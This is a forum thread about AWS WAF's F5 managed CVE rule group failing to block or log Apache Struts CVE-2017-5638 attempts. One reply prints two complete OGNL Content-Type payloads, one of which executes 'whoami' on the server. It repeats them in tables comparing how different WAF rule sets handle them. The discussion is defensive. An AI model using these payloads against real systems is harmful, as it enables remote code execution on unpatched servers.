Forum Discussion

will-will's avatar
will-will
Icon for Altocumulus rankAltocumulus
Jun 17, 2022

F5 rules for AWS WAF - F5-CVE_Managed rule group Logs

Hello,

I've contacted AWS support regarding the WAF and your specific rule group, and AWS suggested I reach out here for specific questions regarding the F5 managed rule. I asked the following question:

 

 

We started to get exploit attempts on our production app, and were looking at the best way to block these attempts via a WAF rule. 

This was caught from our app error checking vendor Rollbar:
ActionDispatch::Http::MimeNegotiation::InvalidType: "%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('gig54250'" is not a valid MIME type

ActionDispatch::Http::MimeNegotiation::InvalidType: "%{#context['com.opensymphony.xwork2.dispatcher.httpservletresponse'].addheader('5rvke1gt'" is not a valid MIME type (Most recent call first)

Exploit information:
https://blog.gdssecurity.com/labs/2017/3/27/an-analysis-of-cve-2017-5638.html 

 

 

support rep advised:

 

 

I understand you observed attack attempts in your application that are exploiting the Apache Struts vulnerability (CVE-2017-5638) and are looking for a way to block these attempts via AWS WAF. 

Kindly note that for the Apache Struts Vulnerability there is no AWS Managed rule available, however, you can make use of a marketplace rule group - "Common Vulnerabilities & Exposures (CVE) Rules" which are under "F5 managed rule groups" 

 

 


We are currently subscribed to the F5 Common Vulnerabilities & Exposures (CVE) Rules, and have all of the rules turned on "Use action defined in the rule" e.g. not set to count.  I see in CloudWatch metrics there are data points that show up for 
F5-CVE_Managed BlockedRequests, but I'm not seeing any logs in CloudWatch for that rule group. I want to be able to see more details in CloudWatch logs that corespond with the blocks in CloudWatch metrics, and it doesn't seem that this rulegroup is sending any logs to cloudwatch and only metrics. Especialy as noted from your documetation https://support.f5.com/csp/article/K21015971

 

 

Monitoring rule groups and rules

All rules and rule groups come with CloudWatch metrics that report the number of requests that matched a rule or rule group. When you use multiple rule groups, these metrics help discern which rules are being matched

 

 

Long story long, I need to be able to see in CloudWatch logs more details of what the rule group is blocking, and a query to do see that information.

Thank you!

  • Have you checked if you enabled logging in the AWS WAF ACL that sends the logs to cloudwatch?

     

    https://docs.aws.amazon.com/waf/latest/developerguide/logging.html

     

     

    Also note that if it is important site better go with F5 virtual edition, F5 silverline for AWS or the new F5 distributed cloud as the AWS WAF is for me simply the free open source mod_security waf for unix/linux and even with the F5 rules the AWS WAF is still just stateless old generation WAF with signatures.

     

     

    Still if you chose it better in the future to send the logs with Kinesis Data Firehose to a syslog or SIEM server as Cloudwatch has capacity limit and the price to increase it is not small, so better not log the default action (if no rules are matched) as this will log just the illegal requests. There are many free open souce SIEM out there:

     

    https://www.digitalocean.com/community/tutorials/how-to-build-a-siem-with-suricata-and-elastic-stack-on-ubuntu-20-04

  • Hi will-will,

    As a notice since we have not seen a response from the F5 support team on the subject I have flagged this thread to them so they can look into how to address these signatures in the managed rule set.  No let's take a look at the attack you are describing and overlay that with the WAF security segment. 

    The AON article references two vectors.  The first is a command injection via the Content-Type header

    Vector 1

    ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

    The second is more nuanced attempting to interact with the struts platform containers

    Vector 2

    ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}

    We need to address both of these vectors (and permutations), and this is where it is important to understand that not all WAF engines have the same processing capabiliteis. Third party solutions, such as Advanced WAF, can leverage different broader and deeper processing capabilites.  These differences can have a profound impact on the capabilites and thuse the breadeth and depth of vulnerablilities yoru organizaiton is exposed to. 

    All rule sets on AWS WAF have the same engine to apply their logic with.

    We will look at three options for WAF.  

    AWS Managed Rules - on AWS WAF F5 Managed Rules on AWS WAF F5 Adv. WAF

    We will look at three result options

    Block Flagged Pass
    • Block = Blocked by the WAF
    • Flagged = the WAF indentified the request and can notify the admin that there is risk(s)
    • Pass = the traffic will be passed to the backedn server(s)


    Evaluating AWS WAF Engine with Different Rule Sets - Vector 1

     

    Rule Set  Vector Result
    Amazon Core Rule Set (OWASP) ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass
    Amazon Known Bad Inputs ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Block
    F5 Managed CVE ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass
    F5 Managed OWASP ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} Pass

     

    Evaluating AWS WAF Engine with Different Rule Sets - Vector 2

     

    Rule Set Vector  Result
    Amazon Core Rule Set (OWASP) ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass
    Amazon Known Bad Inputs ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass
    F5 Managed CVE ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass
    F5 Managed OWASP ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Pass

     

    Evaulting F5 Advanced WAF - Vector 1 and Vector 2

    WAF    
    F5 Advanced WAF Vector 1 -
    ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    Block
    F5 Advanced WAF Vector 2 -
    ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}
    Flag

     

     I hope this helps.


  • Hi Nikoolayy1,

    Thanks for the reply. Yes I can confirm that the AWS WAF ACL is enabled and sending logs to Cloudwatch. However the only logs not available (that I can tell) are specifically F5 Common Vulnerabilities & Exposures (CVE) Rules. The metrics for that rule group are available, just not the logs. Thank you for your other suggestions, and that is something to consider, but for now I'm trying to view the logs in Cloudwatch for this particular rule group.

    Thank you!

  • I was finally able to find in the log entries for the exploit attempt and it looks like that it's not matching any of the rules in the rule groups especially not by F5-CVE_Managed. Since we don't control the rules in these rule groups what can I do to make sure these attemps (Apache Struts vulnerability (CVE-2017-5638)) are blocked by the F5-CVE_Managed rule group?

    • Nikoolayy1's avatar
      Nikoolayy1
      Icon for MVP rankMVP

      Generate such an attack and the default action should be "Block" and see that it is blocked and I do not think you will need to overide it as I mentioned it should be "Block" by default. This is it, you have less control with the AWS WAF and more with F5 Advanced WAF or Nginx + with App Protect WAF as cloud native services are like this.

      • will-will's avatar
        will-will
        Icon for Altocumulus rankAltocumulus

        Hi Nikoolayy1 , that's the thing, the attacks happen daily, but are getting allowed since they aren't getting picked up by the F5 rule. Since there is no control over the rule I wonder if there is something wrong with the rule group? How would I check?